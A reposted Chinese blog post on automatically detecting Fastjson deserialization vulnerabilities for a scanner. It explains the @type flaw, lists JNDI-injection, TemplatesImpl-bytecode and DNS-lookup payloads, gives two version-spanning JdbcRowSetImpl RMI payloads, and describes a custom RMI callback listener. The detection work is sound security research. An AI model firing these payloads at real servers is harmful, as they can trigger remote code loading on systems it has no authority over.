12.24 Fastjson 反序列化漏洞自動化檢測




fastjson 是 java 中常用的一個用來序列化反序列化 JSON 數據的庫。因其優異的性能表現,在 java web 開放中應用比較廣泛。最近需要寫一個 fastjson 的檢測插件,稍微研究了一下後,感覺有一個比較不錯的檢測方法,在這裡和大家分享下。

在文章開始之前我想說明一點這裡介紹的是檢測方法而不是利用方法。這是兩個不同的目標實現這兩個目標需要考慮的細節也是不同的。在做漏洞檢測時尤其是自動化檢測時關注的往往有以下幾點:

  • 利用入口點是什麼
  • 如何確認漏洞存在
  • 如何高效檢測
  • 如何無損檢測

圍繞著這幾點我這個從未接觸 java 安全的弟弟打開了 idea ,開始了 fastjson 反序列化 debug 之路。

漏洞成因

我剛接觸的時候,感覺很多文章都在說@type,但@type是什麼,為什麼需要@type大家好像都沒有提及,而且既然@type這麼多問題,官方為何不去掉這個用法。帶著這些疑問,我寫了一個簡單的 case,在 1.2.24 版本運行一下:

<code>public class User {
private String name;

public User() {
System.out.println("User()");
}

public String getName() {
System.out.println("getName");
return name;
}

public void setName(String name) {
System.out.println("setName");
this.name = name;
}
}

class Testfastjson {
public static void main(String[] args) {
String x = "{\"name\": \"test\"}";
Object xx = JSON.parseObject(x);
System.out.println(xx);
System.out.println();

String y = "{\"@type\":\"com.koalr.fastjson.User\",\"name\": \"test\"}";
User yy = (User) JSON.parse(y);
System.out.println(yy);
System.out.println();

String z = "{\"name\": \"test\"}";
User zz = (User) JSON.parseObject(z, User.class);
System.out.println(zz);
}
}/<code>

結果為:

<code>{"name":"test"}

User()
setName
com.koalr.fastjson.User@18769467

User()
setName
com.koalr.fastjson.User@46ee7fe8/<code>

仔細觀察這個這個 case,它主要說明了兩點:一是如果沒有指定類型,得到的是 fastjson 的內置類型 JSONObject,這個模式下沒有類型信息,使用起來和 python dict 比較像;二是如果用某種方式制定了類型,那麼會調用初始化函數和相關屬性的 setter 等。這裡說的某種方式可以通過 @type 在 JSON 中指定,也可以在反序列化時手動指定 class 類。

我們來試著回答下上面的三個問題: @type 用於指定本次序列化所使用的類,方便直接操作想要的類型,例子中的後兩種情況我們可以直接通過類型轉換將原始的 JSONObject 轉為 User,第一種卻不行,因為後兩種真正的類型就是 User,用過 go 的 interface{} 的同學應該比較容易理解這句話;至於為什麼需要以及為什麼不去掉,我猜想的是一方面幫 Java 開發者偷懶了,一方面可能也是不得不。Java 是一門靜態類型語言,在靜態語言中操作動態類型是比較難受和不安全的方式,雖然可以通過手動指定class 的方式做反序列化,但這種寫法不夠通用,在寫中間件之類的代碼時,結合各種反射特性可以把東西寫的很精巧,這時候就不得不用一些比較投機的方式了。

回到話題上,現在我們可以概括一下這個漏洞的成因: 反序列化 @type 指定的類時,指定類的setter getter 被調用導致的命令執行。

檢測方案

上面說到漏洞觸發和 setter 與 getter 有關,那麼利用方式就是找那些在 setter 和 getter中有敏感方法的類。從各位大佬們的分析文章來看,主流方式有三種(以 1.2.24 版本為例):

JNDI 注入

<code>{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:1099/POC", "autoCommit":true}/<code>

原理是 com.sun.rowset.JdbcRowSetImpl 這個類在設置 autoCommit 的 setter 時會調用 connect 方法去連接 dataSourceName 指定的 jdbc 服務。 JNDI 常用的有 RMI 和 LDAP 服務,這裡我使用的 RMI 服務,因為實現比較簡單,這個後面會說。

bytesCode

<code>{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["base64_bytesCode"],'_name':'a.b','_tfactory':{ },"_outputProperties":{ },"_name":"a","_version":"1.0","allowedProtocols":"all"}/<code>

原理是把這個類會把中的方法會實例化 _bytescodes 中指定的類,我們可以寫一個自定義類並在類的初始化函數中加入利用代碼。

DNS log

<code>{"@type":"java.net.InetAddress","val":"example.com"}/<code>

原理是 java.net.InetAddress 這個類在實例化時會嘗試做對 example.com 做域名解析,這時候可以通過 dns log 的方式得知漏洞是否存在了。

上面的三種方式綜合考量下,第一種是最合適的。第二種有個致命的限制,需要類似 JSON.parseObject(z, Feature.SupportNonPublicField) 的用法來啟用對私有成員的設置,這個選項默認關閉,所以直接不考慮;第三種雖然簡單,但用戶部署起來很複雜,需要一個能夠自行控制 dns 的域名才可以,而且內網的情況更加棘手。

查閱資料後發現,為了防止 JNDI 注入,Java 本身也做了很多努力,比如 java.rmi.server.useCodebaseOnly 和 com.sun.jndi.rmi.object.trustURLCodebase 這兩個都是用於防止 rmi server 遠程加載惡意類的。但這些限制對漏洞檢測而言是無效的,檢測講究點到為止,我們只要能確定漏洞存在就可以結束檢測流程。對 JNDI 注入而言,我們認為 JNDI server 收到了 socket 連接就是漏洞存在。

確定 payload

上面敲定了使用 JNDI 注入的方式來做檢測,還有個關鍵問題需要解決,就是檢測過程使用的 payload。有個簡單的方式是把各個版本爆出的 poc 都打一遍,可以但有些粗暴。回看最開始說的漏洞檢測的幾個點,現在要思考的是如何高效檢測。

從 2017 年到現在(2019.12),fastjson 先後約有 5 次左右的反序列漏洞的產生、修復和繞過,在這曲折的打怪升級過程中,這其中有兩個關鍵性的版本,一個是 1.2.24,一個是 1.2.47。前者是官方主動說該版本有反序列化漏洞,開啟了 fastjson 反序列化研究的道路,後者是護網期間誕生的一個夢幻般的繞過。1.2.24 及之前沒有任何限制,從該版本後逐漸增加了黑名單限制、默認關閉 AutoType 等,安全更新大都因為黑名單被繞過,直到 1.2.47 版本左右,有人發現了一種利用 cache 繞過限制的方法,而且這種方法可以向前通殺很多版本,但是 1.2.24 版本卻不能用,究竟可以殺到那個版本,我自己調了一下代碼,結論如下:

  • 1.2.33 - 1.2.47 無條件利用
  • 1.2.25 - 1.2.32 未開啟 AutoType 可以利用,開啟反而不能 (默認關閉)
  • 1.2.24 無條件利用

cache 機制是從 1.2.25 添加的,我當時很好奇為何這個開啟了 AutoType 反而不能用了,發現原因是這兩行代碼:

<code>// 1.2.25
for(i = 0; i < this.denyList.length; ++i) {
deny = this.denyList[i];
if (className.startsWith(deny)) {
throw new JSONException("autoType is not support. " + typeName);
}
}

// 1.2.33
for(i = 0; i < this.denyList.length; ++i) {
deny = this.denyList[i];
if (className.startsWith(deny) && TypeUtils.getClassFromMapping(typeName) == null) {
throw new JSONException("autoType is not support. " + typeName);
}
}/<code>

這段代碼只在開啟了 AutoType 時會執行到,但 25 版本少了一個判斷,導致 cache 的利用機制失效了。綜合來看 47 這個版本的 poc 基本是通殺的,但 25~32 幾個版本手動開了 AutoType 就檢查不到了,只能發一個別的 payload 來檢測,我曾花費很多力氣來嘗試把兩個 payload 合二為一,但後來發現做的是無用功,因為這兩個關鍵版本的 payload 本質上是互斥的。

沒有辦法只能求次發兩個包解決,其中 payload1 是”通殺“ payload,payload2 是 1.2.24 ~ 1.2.41 在啟用 AutoType 時可用的 payload,這兩個結合就覆蓋了所有的 case。 細心的同學會發現每個數據都套了一層隨機數,這麼做的原因是我發現 Java Web 中可以通過 annotation 來做類型綁定,大意是可以指定 /user 的數據類型是 User,如果 Server 收到的數據是這樣的 {"@type": "com.sun.rowset.JdbcRowSetImpl"},數據指定的類型和 User 不匹配時會報錯,這是我在測試 vulhub 靶站時發現的。通過這樣一個小的優化可以提高 payload 的命中率。

<code>// payload 1
{
"rand1": {
"@type": "java.lang.Class",
"val": "com.sun.rowset.JdbcRowSetImpl"
},
"rand2": {
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "rmi://127.0.0.1:1099/aaa",
"autoCommit": true
}
}
// payload 2
{
"rand3": {
"@type": "Lcom.sun.rowset.JdbcRowSetImpl;",
"dataSourceName": "rmi://127.0.0.1:1099/aaa",
"autoCommit": true
}
}/<code>

自動化實現

檢測方式和 payload 都確定了,就可以開始寫代碼了。有個問題擺在了眼前,如何利用 RMI 服務來做自動化檢測。 回想一下漏洞檢測常用的方式:

  • 有回顯的檢測
  • 布爾/時間盲檢測
  • 反連平臺檢測

fastjson 的這個問題明顯屬於第三種,它需要一個外部服務來告訴我們漏洞有沒有觸發,我們稱這種服務為反連平臺。白帽子們最常用的 xss 平臺就是一個 http 服務的反連平臺,檢測 ssrf 漏洞時也常用反連平臺來作為輔助平臺,那麼我們能不能設法實現一個基於 rmi 服務的反連平臺?

一些圖省事的同學可能會說直接用 java 啟動一個 rmi 服務就可以了,這樣做的問題是比較多的,一方面 xray 是用 go 寫的,再套一個 java 會很奇怪。而且就算可以用 java,我們也需要為每個檢測目標啟動不同的服務,因為在同時掃描多個網站時,需要鑑別漏洞請求來源於哪個網站。這其實牽涉到反連平臺的一個關鍵問題:如果做請求關聯,就是需要知道這條反連的請求是掃描那個目標時觸發的。

有個簡單的方案是根據端口來區分,rmi 本質上是一個 socket 服務,我們可以在發送 payload 前啟動一個隨機的 socket 服務,然後將這個 socket 服務的端口填入 payload 中,內部只需要維持一個 map{“port” -> “request”} 即可。理論上是可行的,但這樣需要啟動大量的 socket 服務來監聽端口,聽著就很髒,有沒有更好的方法呢?

我們上面輸入的 dataSourceName中輸入的是 rmi://127.0.0.1:1099/aaa,/aaa這一部分像極了 http 的 path,我們設法取到這個值理論上就和 http 服務的反連平臺基本一致了。不妨來看看 RMI 服務的協議,https://docs.oracle.com/javase/9/docs/specs/rmi/protocol.html#overview, 發現這個協議還挺簡單的,我用 wireshark 調了一下,大致流程是:

  1. client -> server dial tcp and send
<code>4a 52 4d 49    00 02    4b
J R M I Version Protocol(StreamProtocol)/<code>

2. server -> client, repsond with client infos

<code>4e           0009     3132372e302e302e31 0000 d399
ProtocolACK Length 127.0.0.1 54169/<code>

其中 127.0.0.1:54169 對於 server 來講就是 socket.RemoteAddr

3. client -> server, call

<code>50   xxxxxxxxxxxxxxx
Call SerializationData /<code>

這裡的 SerializationData 其實就是 String 的序列化數據,這裡面必然包含這我們想要的那個 path, 我在實現時並沒有按照 java 序列化數據的格式去乖乖讀取,而是用了一個簡單的辦法,我發現 String 的序列化數據的真正內容都在最後面,那麼我其實從後往前讀取就可以找到想要的 path,具體方法可以從後往前讀固定的長度,也可以給path 設置一個標記符,讀到就結束,我用的是後者。

至此,我們把上面討論的內容用代碼串起來就可以做到 fastjson 的高效自動化檢測了,該插件現已加入 xray 高級版,歡迎體驗。我取了4個版本相對關鍵的 fastjson 版本驗證了一下,效果圖如下:

Fastjson 反序列化漏洞自動化檢測

一點想法

上面的實現還有個我覺得不夠完美的點,由於我自行實現的 RMI 只實現了握手部分,取得 path 後就關掉連接了,這其實會導致服務端有一個異常信息。其實有時間的話完全可以把剩下的協議部分實現以下,返回一個最簡單的結果就可以,這個留給大家去發揮吧。

在研究這個漏洞時,發現大家的研究點都集中在漏洞利用上,然而發現漏洞其實是利用漏洞的起點,而如何高效、自動化的檢測漏洞也是非常值得我們去思考和研究的。由於我之前沒接觸過 Java,很多都是花三分鐘現學的,雖然文中結論我大都自己調試過,但精力有限,如有錯誤,歡迎與我聯繫改正。

<code>來源:https://zhuanlan.zhihu.com/p/99075925/<code>


分享到:


相關文章: